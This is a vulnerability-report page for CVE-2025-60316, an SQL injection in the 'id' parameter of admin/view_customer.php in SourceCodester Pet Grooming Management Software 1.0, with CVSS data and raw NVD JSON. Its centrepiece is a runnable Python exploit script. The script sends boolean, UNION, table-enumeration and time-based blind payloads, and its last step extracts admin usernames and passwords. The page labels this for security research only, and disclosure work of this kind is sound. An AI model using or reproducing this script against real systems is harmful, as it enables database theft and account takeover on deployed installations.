Security Vulnerability Report
中文
CVE-2025-60316 CVSS 9.4 CRITICAL

CVE-2025-60316

Published: 2025-10-09 20:15:41
Last Modified: 2025-10-16 15:25:18

Description

SourceCodester Pet Grooming Management Software 1.0 is vulnerable to SQL Injection in admin/view_customer.php via the ID parameter.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Pet Grooming Management Software 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60316 - SQL Injection PoC # Target: SourceCodester Pet Grooming Management Software 1.0 # Vulnerable file: admin/view_customer.php # Vulnerable parameter: id import requests TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/admin/view_customer.php" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in the 'id' parameter of view_customer.php """ url = f"{target_url}{VULNERABLE_ENDPOINT}" params = {"id": injection_payload} try: response = requests.get(url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Test 1: Basic SQL injection detection payload_basic = "1' OR '1'='1" print("[*] Testing basic SQL injection...") response = exploit_sql_injection(TARGET_URL, payload_basic) if response: print(f"[+] Response length: {len(response)}") print("[+] Possible SQL injection detected!") # Test 2: UNION-based injection to extract database version payload_union = "1' UNION SELECT 1,version(),database(),user(),5,6,7,8,9,10-- -" print("\n[*] Testing UNION-based injection...") response = exploit_sql_injection(TARGET_URL, payload_union) if response: print(f"[+] Response:\n{response[:500]}") # Test 3: Extract table names from information_schema payload_tables = "1' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -" print("\n[*] Extracting table names...") response = exploit_sql_injection(TARGET_URL, payload_tables) if response: print(f"[+] Tables:\n{response}") # Test 4: Time-based blind SQL injection import time payload_timebased = "1' AND SLEEP(5)-- -" print("\n[*] Testing time-based blind injection...") start_time = time.time() exploit_sql_injection(TARGET_URL, payload_timebased) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed! Elapsed: {elapsed:.2f}s") # Test 5: Extract admin credentials payload_creds = "1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10 FROM admin-- -" print("\n[*] Extracting admin credentials...") response = exploit_sql_injection(TARGET_URL, payload_creds) if response: print(f"[+] Admin credentials:\n{response}") print("\n[!] Exploitation complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60316", "sourceIdentifier": "[email protected]", "published": "2025-10-09T20:15:40.547", "lastModified": "2025-10-16T15:25:18.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SourceCodester Pet Grooming Management Software 1.0 is vulnerable to SQL Injection in admin/view_customer.php via the ID parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B88D324D-B780-4D8D-BE43-829227D2808F"}]}]}], "references": [{"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60316/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.youtube.com/watch?v=KopMozY6X5w&t=191s&ab_channel=MayuriK", "source": "[email protected]", "tags": ["Exploit"]}]}}